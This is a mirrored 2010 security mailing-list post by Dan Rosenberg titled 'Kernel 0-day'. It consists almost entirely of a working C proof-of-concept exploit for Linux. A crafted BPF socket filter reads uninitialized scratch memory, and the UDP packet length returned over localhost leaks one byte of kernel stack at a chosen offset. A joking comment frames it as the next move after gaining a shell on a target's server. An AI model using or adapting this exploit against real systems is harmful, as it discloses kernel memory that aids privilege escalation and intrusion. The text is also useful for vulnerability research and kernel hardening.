Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:25115
HistoryNov 10, 2010 - 12:00 a.m.

Kernel 0-day

2010-11-1000:00:00
vulners.com
9

Enjoy…

-Dan

/*

  • You've done it. After hours of gdb and caffeine, you've finally got a shell
  • on your target's server. Maybe next time they will think twice about
  • running MyFirstCompSciProjectFTPD on a production machine. As you take
  • another sip of Mountain Dew and pick some of the cheetos out of your beard,
  • you begin to plan your next move - it's time to tackle the kernel.
  • What should be your goal? Privilege escalation? That's impossible, there's
  • no such thing as a privilege escalation vulnerability on Linux. Denial of
  • service? What are you, some kind of script kiddie? No, the answer is
  • obvious. You must read the uninitialized bytes of the kernel stack, since
  • these bytes contain all the secrets of the universe and the meaning of life.
  • How can you accomplish this insidious feat? You immediately discard the
  • notion of looking for uninitialized struct members that are copied back to
  • userspace, since you clearly need something far more elite. In order to
  • prove your superiority, your exploit must be as sophisticated as your taste
  • in obscure electronic music. After scanning the kernel source for good
  • candidates, you find your target and begin to code…
  • by Dan Rosenberg
  • Greets to kees, taviso, jono, spender, hawkes, and bla

*/

#include <string.h>
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdlib.h>
#include <linux/filter.h>

#define PORT 37337

int transfer(int sendsock, int recvsock)
{

    struct sockaddr_in addr;
    char buf[512];
    int len = sizeof&#40;addr&#41;;

    memset&#40;buf, 0, sizeof&#40;buf&#41;&#41;;
    
    if &#40;fork&#40;&#41;&#41;
            return recvfrom&#40;recvsock, buf, 512, 0, &#40;struct sockaddr *&#41;&amp;addr, &amp;len&#41;;

    sleep&#40;1&#41;;

    memset&#40;&amp;addr, 0, sizeof&#40;addr&#41;&#41;;
    addr.sin_family = AF_INET;
    addr.sin_port = htons&#40;PORT&#41;;
    addr.sin_addr.s_addr = inet_addr&#40;&quot;127.0.0.1&quot;&#41;;
    
    sendto&#40;sendsock, buf, 512, 0, &#40;struct sockaddr *&#41;&amp;addr, len&#41;;

    exit&#40;0&#41;;

}

int main(int argc, char * argv[])
{

    int sendsock, recvsock, ret;
    unsigned int val;       
    struct sockaddr_in addr;
    struct sock_fprog fprog;
    struct sock_filter filters[5];

    if &#40;argc != 2&#41; {
            printf&#40;&quot;[*] Usage: &#37;s offset &#40;0-63&#41;&#92;n&quot;, argv[0]&#41;;
            return -1;
    }

    val = atoi&#40;argv[1]&#41;;

    if &#40;val &gt; 63&#41; {
            printf&#40;&quot;[*] Invalid byte offset &#40;must be 0-63&#41;&#92;n&quot;&#41;;
            return -1;
    }

    recvsock = socket&#40;AF_INET, SOCK_DGRAM, IPPROTO_UDP&#41;;
    sendsock = socket&#40;AF_INET, SOCK_DGRAM, IPPROTO_UDP&#41;;

    if &#40;recvsock &lt; 0 || sendsock &lt; 0&#41; {
            printf&#40;&quot;[*] Could not create sockets.&#92;n&quot;&#41;;
            return -1;
    }

    memset&#40;&amp;addr, 0, sizeof&#40;addr&#41;&#41;;
    addr.sin_family = AF_INET;
    addr.sin_port = htons&#40;PORT&#41;;
    addr.sin_addr.s_addr = htonl&#40;INADDR_ANY&#41;;

    if &#40;bind&#40;recvsock, &#40;struct sockaddr *&#41;&amp;addr, sizeof&#40;addr&#41;&#41; &lt; 0&#41; {
            printf&#40;&quot;[*] Could not bind socket.&#92;n&quot;&#41;;
            return -1;
    }

    memset&#40;&amp;fprog, 0, sizeof&#40;fprog&#41;&#41;;
    memset&#40;filters, 0, sizeof&#40;filters&#41;&#41;;

    filters[0].code = BPF_LD|BPF_MEM;
    filters[0].k = &#40;val &amp; ~0x3&#41; / 4;

    filters[1].code = BPF_ALU|BPF_AND|BPF_K;
    filters[1].k = 0xff &lt;&lt; &#40;&#40;val &#37; 4&#41; * 8&#41;;

    filters[2].code = BPF_ALU|BPF_RSH|BPF_K;
    filters[2].k = &#40;val &#37; 4&#41; * 8;

    filters[3].code = BPF_ALU|BPF_ADD|BPF_K;
    filters[3].k = 256;

    filters[4].code = BPF_RET|BPF_A;

    fprog.len = 5;
    fprog.filter = filters;

    if &#40;setsockopt&#40;recvsock, SOL_SOCKET, SO_ATTACH_FILTER, &amp;fprog, sizeof&#40;fprog&#41;&#41; &lt; 0&#41; {
            printf&#40;&quot;[*] Failed to install filter.&#92;n&quot;&#41;;
            return -1;
    }

    ret = transfer&#40;sendsock, recvsock&#41;;

    printf&#40;&quot;[*] Your byte: 0x&#37;.02x&#92;n&quot;, ret - 248&#41;;

}